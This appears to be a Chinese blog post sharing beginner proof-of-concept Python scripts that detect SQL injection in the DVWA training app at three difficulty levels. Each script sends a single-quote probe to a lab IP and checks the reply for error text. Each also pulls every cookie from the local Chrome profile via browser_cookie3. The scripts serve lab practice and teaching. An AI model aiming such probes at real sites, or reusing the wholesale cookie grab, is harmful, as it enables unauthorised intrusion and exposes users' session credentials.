当前位置:网站首页>POC——DVWA‘s SQL Injection
POC——DVWA‘s SQL Injection
2022-07-17 05:03:00 【wavesky111】
最近开始尝试着自己写一些POC,从基础的DVWA靶场开始吧,不定时更新~
Level——low:
import requests
import browser_cookie3
cookie = browser_cookie3.chrome() //获得了chrome全部的访问过的cookie,以后看看有没有什么方法只获取当前的,而且这个方法好像只有chrome可以,firefox不太行
response = requests.get("http://192.168.117.133/dvwa/vulnerabilities/sqli/?id=1'&Submit=Submit#",cookies=cookie)
re = 'syntax'
flag=re in str(response.content)
if flag:
print("It looks likely vulnerable")
else:
print("It is strong")Level——Medium

1 import requests
2 import browser_cookie3
3
4 cookie = browser_cookie3.chrome()
5 datas = {"id":"1'","Submit":"Submit"} //这里因为Content-Type:application/x-www-form-urlencoded,所以post构造为该模式(根据Payload内的值)
6 response = requests.post("http://192.168.117.130/DVWA-1.9/vulnerabilities/sqli/?id=1'&Submit=Submit#",cookies=cookie,data=datas)
7
8 re = 'syntax'
9 flag=re in str(response.content)
10
11 if flag:
12 print("It looks likely vulnerable")
13 else:
14 print("It is strong")Level——High
1 import requests
2 import browser_cookie3
3
4 cookie = browser_cookie3.chrome()
5 datas = {"id":"1'","Submit":"Submit"}
6 response1 = requests.post("http://192.168.117.130/DVWA-1.9/vulnerabilities/sqli/session-input.php",cookies=cookie,data=datas)
7 response2 = requests.get("http://192.168.117.130/DVWA-1.9/vulnerabilities/sqli/",cookies=cookie) //high中,查询和回显不在一个页面中,所以在这里分post查询和get获取页面
8
9 re = 'wrong' //这里换了特征语句
10 flag=re in str(response2.content)
11
12 if flag:
13 print("It looks likely vulnerable")
14 else:
15 print("It is strong")边栏推荐
猜你喜欢

索引库操作基本操作

RestClient操作文档
[email protected] : `node install. Problems of js`"/>solve [email protected] : `node install. Problems of js`

老年祝福火爆短视频微信小程序源码下载支持流量主

毕设:基于Vue+Socket+Redis的分布式高并发防疫健康管理系统
![[unity] interactive double click](/img/28/8c9c3dd9de413ff8e6373ea111b04f.png)
[unity] interactive double click
[email protected]: `node install.js` 的问题"/>解决[email protected]: `node install.js` 的问题

一文了解配置中心

DSL查询文档

免签名模板审核的短信验证测试
随机推荐
fastjson、jackjson、gson区别和注意点
NoSQL概述
Penetration test 10 - scan web directories (dirb, wfuzz, wpscan, Nikto)
接口的参数返回封装类Result
Website online package APK system source code
DirectExchange交换机的简单使用。
RestAPI
快速掌握MIPI开发攻略
MYSQL数据库表A数据同步到表B
thinkphp 官网教程
UE plug-in electronicnodes 5.0.0/4.23-4.27
负载均衡添加ssl证书
Conception finale: système distribué de gestion de la santé pour la prévention des épidémies hautement simultanées basé sur vue + socket + redis
Notes on Advanced Mathematics: selected exercises of Wu Yue
老年祝福火爆短视频微信小程序源码下载支持流量主
【FPGA教程案例27】通过Verilog实现双口RAM乒乓结构
天道酬勤,保持热爱
类对象自动注入属性操作工具
Quickly master Mipi development strategy
毕设:基于Vue+Socket+Redis的分布式高并发防疫健康管理系统